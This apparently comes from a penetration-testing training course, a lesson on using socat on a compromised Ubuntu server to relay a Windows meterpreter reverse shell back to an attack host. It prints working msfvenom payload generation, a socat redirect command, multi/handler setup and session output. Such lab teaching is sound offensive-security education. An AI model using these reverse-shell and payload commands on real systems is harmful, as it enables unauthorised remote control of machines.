

Socat Redirection with a Reverse Shell

Socat is a bidirectional relay tool that can create pipe sockets between 2 independent network channels without needing to use SSH tunneling. It acts as a redirector that can listen on one host and port and forward that data to another IP address and port. We can start Metasploit's listener using the same command mentioned in the last section on our attack host, and we can start socat on the Ubuntu server.

Starting Socat Listener

```
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
```

Socat will listen on localhost on port 8080 and forward all the traffic to port 80 on our attack host (10.10.14.18). Once our redirector is configured, we can create a payload that will connect back to our redirector, which is running on our Ubuntu server. We will also start a listener on our attack host because as soon as socat receives a connection from a target, it will redirect all the traffic to our attack host's listener, where we would be getting a shell.

Creating the Windows Payload

```
ipp@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
```

Keep in mind that we must transfer this payload to the Windows host. We can use some of the same techniques used in previous sections to do so.

Starting MSF Console

```
ipp@htb[/htb]$ sudo msfconsole

<SNIP>
```

Configuring & Starting the multi/handler

```
msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:80
```

We can test this by running our payload on the windows host again, and we should see a network connection from the Ubuntu server this time.

Establishing the Meterpreter Session

```


[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrrp) Without a data[]
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrrp) Staging x64 pay
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrrp) Without a data[]
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-03-07 11:08:10 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor
```

Start Instance

1 / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: Click here to spawn the target system!

+1 SSH tunneling is required with Socat. True or False?

Submit your answer here...

Submit

Previous

Next

Cheat Sheet

Go to Questions

Table of Contents

Introduction

Introduction to Pivoting, Tunneling, and Port Forwarding

The Networking Behind Pivoting

Choosing The Dig Site & Starting Our Tunnels

Dynamic Port Forwarding with SSH and SOCKS Tunneling

Remote/Reverse Port Forwarding with SSH

Meterpreter Tunneling & Port Forwarding

Playing Pong with Socat

Socat Redirection with a Reverse Shell

Socat Redirection with a Bind Shell

Pivoting Around Obstacles

SSH for Windows: plink.exe

SSH Pivoting with sshuttle

Web Server Pivoting with Rpivot

Port Forwarding with Windows: Netsh

Branching Out Our Tunnels

DNS Tunneling with Dnscat2

SOCKS5 Tunneling with Chisel

ICMP Tunneling with SOCKS

Double Pivots

RDP and SOCKS Tunneling with SocksOverRDP

Skills Assessment

Skills Assessment

Additional Considerations

Detection & Prevention

Beyond this Module

My Workstation

OFFLINE

Start Instance

1 / 1 spawns left